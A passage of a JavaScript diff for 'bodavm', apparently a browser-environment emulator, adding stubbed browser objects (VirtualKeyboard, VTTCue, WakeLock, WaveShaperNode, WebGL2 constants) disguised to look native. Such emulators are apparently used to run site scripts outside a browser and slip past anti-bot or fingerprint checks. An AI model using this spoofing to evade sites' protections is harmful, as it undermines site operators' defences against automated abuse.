bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['VirtualKeyboard'], "VirtualKeyboard"); +bodavm.memory.globalobj['VirtualKeyboard'].prototype.__proto__ = bodavm.memory.globalobj['EventTarget'].prototype; +bodavm.memory.globalobj['VirtualKeyboard'].__proto__ = bodavm.memory.globalobj['EventTarget']; +bodavm.toolsFunc.defineProperty('VirtualKeyboard', "boundingRect", { + configurable: true, + enumerable: true, + get: function boundingRect() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['VirtualKeyboard'].prototype, "VirtualKeyboard", "boundingRect_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('VirtualKeyboard', "overlaysContent", { + configurable: true, + enumerable: true, + get: function overlaysContent() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['VirtualKeyboard'].prototype, "VirtualKeyboard", "overlaysContent_get", arguments); + }, + set: function overlaysContent() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['VirtualKeyboard'].prototype, "VirtualKeyboard", "overlaysContent_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('VirtualKeyboard', "ongeometrychange", { + configurable: true, + enumerable: true, + get: function ongeometrychange() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['VirtualKeyboard'].prototype, "VirtualKeyboard", "ongeometrychange_get", arguments); + }, + set: function ongeometrychange() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['VirtualKeyboard'].prototype, "VirtualKeyboard", "ongeometrychange_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('VirtualKeyboard', "hide", { + configurable: true, + enumerable: true, + writable: true, + value: function hide() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['VirtualKeyboard'].prototype, "VirtualKeyboard", "hide", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('VirtualKeyboard', "show", { + configurable: true, + enumerable: true, + writable: true, + value: function show() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['VirtualKeyboard'].prototype, "VirtualKeyboard", "show", arguments); + } +}, 'prototype'); +// VirtualKeyboardGeometryChangeEvent对象 + +bodavm.memory.globalobj['VirtualKeyboardGeometryChangeEvent'] = function VirtualKeyboardGeometryChangeEvent() { + console.log_copy('VirtualKeyboardGeometryChangeEvent 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof VirtualKeyboardGeometryChangeEvent)) { + return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'VirtualKeyboardGeometryChangeEvent': 1 argument required, but only 0 present."); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['VirtualKeyboardGeometryChangeEvent'], "VirtualKeyboardGeometryChangeEvent"); +bodavm.memory.globalobj['VirtualKeyboardGeometryChangeEvent'].prototype.__proto__ = bodavm.memory.globalobj['Event'].prototype; +bodavm.memory.globalobj['VirtualKeyboardGeometryChangeEvent'].__proto__ = bodavm.memory.globalobj['Event']; +// VTTCue对象 + +bodavm.memory.globalobj['VTTCue'] = function VTTCue() { + console.log_copy('VTTCue 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof VTTCue)) { + return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'VTTCue': 3 arguments required, but only 0 present."); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['VTTCue'], "VTTCue"); +bodavm.memory.globalobj['VTTCue'].prototype.__proto__ = bodavm.memory.globalobj['TextTrackCue'].prototype; +bodavm.memory.globalobj['VTTCue'].__proto__ = bodavm.memory.globalobj['TextTrackCue']; +bodavm.toolsFunc.defineProperty('VTTCue', "vertical", { + configurable: true, + enumerable: true, + get: function vertical() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['VTTCue'].prototype, "VTTCue", "vertical_get", arguments); + }, + set: function vertical() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['VTTCue'].prototype, "VTTCue", "vertical_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('VTTCue', "snapToLines", { + configurable: true, + enumerable: true, + get: function snapToLines() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['VTTCue'].prototype, "VTTCue", "snapToLines_get", arguments); + }, + set: function snapToLines() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['VTTCue'].prototype, "VTTCue", "snapToLines_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('VTTCue', "line", { + configurable: true, + enumerable: true, + get: function line() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['VTTCue'].prototype, "VTTCue", "line_get", arguments); + }, + set: function line() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['VTTCue'].prototype, "VTTCue", "line_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('VTTCue', "position", { + configurable: true, + enumerable: true, + get: function position() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['VTTCue'].prototype, "VTTCue", "position_get", arguments); + }, + set: function position() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['VTTCue'].prototype, "VTTCue", "position_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('VTTCue', "size", { + configurable: true, + enumerable: true, + get: function size() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['VTTCue'].prototype, "VTTCue", "size_get", arguments); + }, + set: function size() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['VTTCue'].prototype, "VTTCue", "size_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('VTTCue', "align", { + configurable: true, + enumerable: true, + get: function align() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['VTTCue'].prototype, "VTTCue", "align_get", arguments); + }, + set: function align() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['VTTCue'].prototype, "VTTCue", "align_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('VTTCue', "text", { + configurable: true, + enumerable: true, + get: function text() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['VTTCue'].prototype, "VTTCue", "text_get", arguments); + }, + set: function text() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['VTTCue'].prototype, "VTTCue", "text_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('VTTCue', "getCueAsHTML", { + configurable: true, + enumerable: true, + writable: true, + value: function getCueAsHTML() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['VTTCue'].prototype, "VTTCue", "getCueAsHTML", arguments); + } +}, 'prototype'); +// WakeLock对象 + +bodavm.memory.globalobj['WakeLock'] = function WakeLock() { + console.log_copy('WakeLock 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof WakeLock)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['WakeLock'], "WakeLock"); +bodavm.toolsFunc.defineProperty('WakeLock', "request", { + configurable: true, + enumerable: true, + writable: true, + value: function request() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WakeLock'].prototype, "WakeLock", "request", arguments); + } +}, 'prototype'); +// WakeLockSentinel对象 + +bodavm.memory.globalobj['WakeLockSentinel'] = function WakeLockSentinel() { + console.log_copy('WakeLockSentinel 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof WakeLockSentinel)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['WakeLockSentinel'], "WakeLockSentinel"); +bodavm.memory.globalobj['WakeLockSentinel'].prototype.__proto__ = bodavm.memory.globalobj['EventTarget'].prototype; +bodavm.memory.globalobj['WakeLockSentinel'].__proto__ = bodavm.memory.globalobj['EventTarget']; +bodavm.toolsFunc.defineProperty('WakeLockSentinel', "onrelease", { + configurable: true, + enumerable: true, + get: function onrelease() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WakeLockSentinel'].prototype, "WakeLockSentinel", "onrelease_get", arguments); + }, + set: function onrelease() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WakeLockSentinel'].prototype, "WakeLockSentinel", "onrelease_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WakeLockSentinel', "released", { + configurable: true, + enumerable: true, + get: function released() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WakeLockSentinel'].prototype, "WakeLockSentinel", "released_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WakeLockSentinel', "type", { + configurable: true, + enumerable: true, + get: function type() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WakeLockSentinel'].prototype, "WakeLockSentinel", "type_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WakeLockSentinel', "release", { + configurable: true, + enumerable: true, + writable: true, + value: function release() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WakeLockSentinel'].prototype, "WakeLockSentinel", "release", arguments); + } +}, 'prototype'); +// WaveShaperNode对象 + +bodavm.memory.globalobj['WaveShaperNode'] = function WaveShaperNode() { + console.log_copy('WaveShaperNode 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof WaveShaperNode)) { + return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'WaveShaperNode': 1 argument required, but only 0 present."); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['WaveShaperNode'], "WaveShaperNode"); +bodavm.memory.globalobj['WaveShaperNode'].prototype.__proto__ = bodavm.memory.globalobj['AudioNode'].prototype; +bodavm.memory.globalobj['WaveShaperNode'].__proto__ = bodavm.memory.globalobj['AudioNode']; +bodavm.toolsFunc.defineProperty('WaveShaperNode', "curve", { + configurable: true, + enumerable: true, + get: function curve() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WaveShaperNode'].prototype, "WaveShaperNode", "curve_get", arguments); + }, + set: function curve() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WaveShaperNode'].prototype, "WaveShaperNode", "curve_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WaveShaperNode', "oversample", { + configurable: true, + enumerable: true, + get: function oversample() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WaveShaperNode'].prototype, "WaveShaperNode", "oversample_get", arguments); + }, + set: function oversample() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WaveShaperNode'].prototype, "WaveShaperNode", "oversample_set", arguments); + } +}, 'prototype'); +// WebGL2RenderingContext对象 + +bodavm.memory.globalobj['WebGL2RenderingContext'] = function WebGL2RenderingContext() { + console.log_copy('WebGL2RenderingContext 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof WebGL2RenderingContext)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['WebGL2RenderingContext'], "WebGL2RenderingContext"); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "DEPTH_BUFFER_BIT", { + configurable: false, + enumerable: true, + writable: false, + value: 256 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "STENCIL_BUFFER_BIT", { + configurable: false, + enumerable: true, + writable: false, + value: 1024 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "COLOR_BUFFER_BIT", { + configurable: false, + enumerable: true, + writable: false, + value: 16384 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "POINTS", { + configurable: false, + enumerable: true, + writable: false, + value: 0 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "LINES", { + configurable: false, + enumerable: true, + writable: false, + value: 1 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "LINE_LOOP", { + configurable: false, + enumerable: true, + writable: false, + value: 2 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "LINE_STRIP", { + configurable: false, + enumerable: true, + writable: false, + value: 3 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "TRIANGLES", { + configurable: false, + enumerable: true, + writable: false, + value: 4 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "TRIANGLE_STRIP", { + configurable: false, + enumerable: true, + writable: false, + value: 5 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "TRIANGLE_FAN", { + configurable: false, + enumerable: true, + writable: false, + value: 6 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "ZERO", { + configurable: false, + enumerable: true, + writable: false, + value: 0 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "ONE", { + configurable: false, + enumerable: true, + writable: false, + value: 1 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "SRC_COLOR", { + configurable: false, + enumerable: true, + writable: false, + value: 768 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "ONE_MINUS_SRC_COLOR", { + configurable: false, + enumerable: true, + writable: false, + value: 769 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "SRC_ALPHA", { + configurable: false, + enumerable: true, + writable: false, + value: 770 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "ONE_MINUS_SRC_ALPHA", { + configurable: false, + enumerable: true, + writable: false, + value: 771 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "DST_ALPHA", { + configurable: false, + enumerable: true, + writable: false, + value: 772 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "ONE_MINUS_DST_ALPHA", { + configurable: false, + enumerable: true, + writable: false, + value: 773 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "DST_COLOR", { + configurable: false, + enumerable: true, + writable: false, + value: 774 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "ONE_MINUS_DST_COLOR", { + configurable: false, + enumerable: true, + writable: false, + value: 775 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "SRC_ALPHA_SATURATE", { + configurable: false, + enumerable: true, + writable: false, + value: 776 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "FUNC_ADD", { + configurable: false, + enumerable: true, + writable: false, + value: 32774 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "BLEND_EQUATION", { + configurable: false, + enumerable: true, + writable: false, + value: 32777 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "BLEND_EQUATION_RGB", { + configurable: false, + enumerable: true, + writable: false, + value: 32777 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "BLEND_EQUATION_ALPHA", { + configurable: false, + enumerable: true, + writable: false, + value: 34877 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "FUNC_SUBTRACT", { + configurable: false, + enumerable: true, + writable: false, + value: 32778 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "FUNC_REVERSE_SUBTRACT", { + configurable: false, + enumerable: true, + writable: false, + value: 32779 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "BLEND_DST_RGB", { + configurable: false, + enumerable: true, + writable: false, + value: 32968 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "BLEND_SRC_RGB", { + configurable: false, + enumerable: true, + writable: false, + value: 32969 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "BLEND_DST_ALPHA", { + configurable: false, + enumerable: true, + writable: false, + value: 32970 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "BLEND_SRC_ALPHA", { + configurable: false, + enumerable: true, + writable: false, + value: 32971 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "CONSTANT_COLOR", { + configurable: false, + enumerable: true, + writable: false, + value: 32769 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "ONE_MINUS_CONSTANT_COLOR", { + configurable: false, + enumerable: true, + writable: false, + value: 32770 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "CONSTANT_ALPHA", { + configurable: false, + enumerable: true, + writable: false, + value: 32771 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "ONE_MINUS_CONSTANT_ALPHA", { + configurable: false, + enumerable: true, + writable: false, + value: 32772 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "BLEND_COLOR", { + configurable: false, + enumerable: true, + writable: false, + value: 32773 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "ARRAY_BUFFER", { + configurable: false, + enumerable: true, + writable: false, + value: 34962 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "ELEMENT_ARRAY_BUFFER", { + configurable: false, + enumerable: true, + writable: false, + value: 34963 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "ARRAY_BUFFER_BINDING", { + configurable: false, + enumerable: true, + writable: false, + value: 34964 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "ELEMENT_ARRAY_BUFFER_BINDING", { + configurable: false, + enumerable: true, + writable: false, + value: 34965 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "STREAM_DRAW", { + configurable: false, + enumerable: true, + writable: false, + value: 35040 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "STATIC_DRAW", { + configurable: false, + enumerable: true, + writable: false, + value: 35044 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "DYNAMIC_DRAW", { + configurable: false, + enumerable: true, + writable: false, + value: 35048 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "BUFFER_SIZE", { + configurable: false, + enumerable: true, + writable: false, + value: 34660 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "BUFFER_USAGE", { + configurable: false, + enumerable: true, + writable: false, + value: 34661 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "CURRENT_VERTEX_ATTRIB", { + configurable: false, + enumerable: true, + writable: false, + value: 34342 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "FRONT", { + configurable: false, + enumerable: true, + writable: false, + value: 1028 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "BACK", { + configurable: false, + enumerable: true, + writable: false, + value: 1029 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "FRONT_AND_BACK", { + configurable: false, + enumerable: true, + writable: false, + value: 1032 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "TEXTURE_2D", { + configurable: false, + enumerable: true, + writable: false, + value: 3553 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "CULL_FACE", { + configurable: false, + enumerable: true, + writable: false, + value: 2884 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "BLEND", { + configurable: false, + enumerable: true, + writable: false, + value: 3042 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "DITHER", { + configurable: false, + enumerable: true, + writable: false, + value: 3024 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "STENCIL_TEST", { + configurable: false, + enumerable: true, + writable: false, + value: 2960 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "DEPTH_TEST", { + configurable: false, + enumerable: true, + writable: false, + value: 2929 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "SCISSOR_TEST", { + configurable: false, + enumerable: true, + writable: false, + value: 3089 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "POLYGON_OFFSET_FILL", { + configurable: false, + enumerable: true, + writable: false, + value: 32823 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "SAMPLE_ALPHA_TO_COVERAGE", { + configurable: false, + enumerable: true, + writable: false, + value: 32926 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "SAMPLE_COVERAGE", { + configurable: false, + enumerable: true, + writable: false, + value: 32928 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "NO_ERROR", { + configurable: false, + enumerable: true, + writable: false, + value: 0 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "INVALID_ENUM", { + configurable: false, + enumerable: true, + writable: false, + value: 1280 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "INVALID_VALUE", { + configurable: false, + enumerable: true, + writable: false, + value: 1281 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "INVALID_OPERATION", { + configurable: false, + enumerable: true, + writable: false, + value: 1282 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "OUT_OF_MEMORY", { + configurable: false, + enumerable: true, + writable: false, + value: 1285 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "CW", { + configurable: false, + enumerable: true, + writable: false, + value: 2304 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "CCW", { + configurable: false, + enumerable: true, + writable: false, + value: 2305 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "LINE_WIDTH", { + configurable: false, + enumerable: true, + writable: false, + value: 2849 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "ALIASED_POINT_SIZE_RANGE", { + configurable: false, + enumerable: true, + writable: false, + value: 33901 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "ALIASED_LINE_WIDTH_RANGE", { + configurable: false, + enumerable: true, + writable: false, + value: 33902 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "CULL_FACE_MODE", { + configurable: false, + enumerable: true, + writable: false, + value: 2885 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "FRONT_FACE", { + configurable: false, + enumerable: true, + writable: false, + value: 2886 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "DEPTH_RANGE", { + configurable: false, + enumerable: true, + writable: false, + value: 2928 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "DEPTH_WRITEMASK", { + configurable: false, + enumerable: true, + writable: false, + value: 2930 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "DEPTH_CLEAR_VALUE", { + configurable: false, + enumerable: true, + writable: false, + value: 2931 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "DEPTH_FUNC", { + configurable: false, + enumerable: true, + writable: false, + value: 2932 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "STENCIL_CLEAR_VALUE", { + configurable: false, + enumerable: true, + writable: false, + value: 2961 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "STENCIL_FUNC", { + configurable: false, + enumerable: true, + writable: false, + value: 2962 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "STENCIL_FAIL", { + configurable: false, + enumerable: true, + writable: false, + value: 2964 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "STENCIL_PASS_DEPTH_FAIL", { + configurable: false, + enumerable: true, + writable: false, + value: 2965 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "STENCIL_PASS_DEPTH_PASS", { + configurable: false, + enumerable: true, + writable: false, + value: 2966 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "STENCIL_REF", { + configurable: false, + enumerable: true, + writable: false, + value: 2967 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "STENCIL_VALUE_MASK", { + configurable: false, + enumerable: true, + writable: false, + value: 2963 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "STENCIL_WRITEMASK", { + configurable: false, + enumerable: true, + writable: false, + value: 2968 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "STENCIL_BACK_FUNC", { + configurable: false, + enumerable: true, + writable: false, + value: 34816 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "STENCIL_BACK_FAIL", { + configurable: false, + enumerable: true, + writable: false, + value: 34817 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "STENCIL_BACK_PASS_DEPTH_FAIL", { + configurable: false, + enumerable: true, + writable: false, + value: 34818 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "STENCIL_BACK_PASS_DEPTH_PASS", { + configurable: false, + enumerable: true, + writable: false, + value: 34819 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "STENCIL_BACK_REF", { + configurable: false, + enumerable: true, + writable: false, + value: 36003 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "STENCIL_BACK_VALUE_MASK", { + configurable: false, + enumerable: true, + writable: false, + value: 36004 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "STENCIL_BACK_WRITEMASK", { + configurable: false, + enumerable: true, + writable: false, + value: 36005 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "VIEWPORT", { + configurable: false, + enumerable: true, + writable: false, + value: 2978 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "SCISSOR_BOX", { + configurable: false, + enumerable: true, + writable: false, + value: 3088 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "COLOR_CLEAR_VALUE", { + configurable: false, + enumerable: true, + writable: false, + value: 3106 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "COLOR_WRITEMASK", { + configurable: false, + enumerable: true, + writable: false, + value: 3107 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "UNPACK_ALIGNMENT", { + configurable: false, + enumerable: true, + writable: false, + value: 3317 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "PACK_ALIGNMENT", { + configurable: false, + enumerable: true, + writable: false, + value: 3333 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "MAX_TEXTURE_SIZE", { + configurable: false, + enumerable: true, + writable: false, + value: 3379 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "MAX_VIEWPORT_DIMS", { + configurable: false, + enumerable: true, + writable: false, + value: 3386 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "SUBPIXEL_BITS", { + configurable: false, + enumerable: true, + writable: false, + value: 3408 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "RED_BITS", { + configurable: false, + enumerable: true, + writable: false, + value: 3410 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "GREEN_BITS", { + configurable: false, + enumerable: true, + writable: false, + value: 3411 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "BLUE_BITS", { + configurable: false, + enumerable: true, + writable: false, + value: 3412 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "ALPHA_BITS", { + configurable: false, + enumerable: true, + writable: false, + value: 3413 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "DEPTH_BITS", { + configurable: false, + enumerable: true, + writable: false, + value: 3414 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "STENCIL_BITS", { + configurable: false, + enumerable: true, + writable: false, + value: 3415 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "POLYGON_OFFSET_UNITS", { + configurable: false, + enumerable: true, + writable: false, + value: 10752 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "POLYGON_OFFSET_FACTOR", { + configurable: false, + enumerable: true, + writable: false, + value: 32824 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "TEXTURE_BINDING_2D", { + configurable: false, + enumerable: true, + writable: false, + value: 32873 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "SAMPLE_BUFFERS", { + configurable: false, + enumerable: true, + writable: false, + value: 32936 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "SAMPLES", { + configurable: false, + enumerable: true, + writable: false, + value: 32937 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "SAMPLE_COVERAGE_VALUE", { + configurable: false, + enumerable: true, + writable: false, + value: 32938 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "SAMPLE_COVERAGE_INVERT", { + configurable: false, + enumerable: true, + writable: false, + value: 32939 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "COMPRESSED_TEXTURE_FORMATS", { + configurable: false, + enumerable: true, + writable: false, + value: 34467 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "DONT_CARE", { + configurable: false, + enumerable: true, + writable: false, + value: 4352 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "FASTEST", { + configurable: false, + enumerable: true, + writable: false, + value: 4353 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "NICEST", { + configurable: false, + enumerable: true, + writable: false, + value: 4354 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "GENERATE_MIPMAP_HINT", { + configurable: false, + enumerable: true, + writable: false, + value: 33170 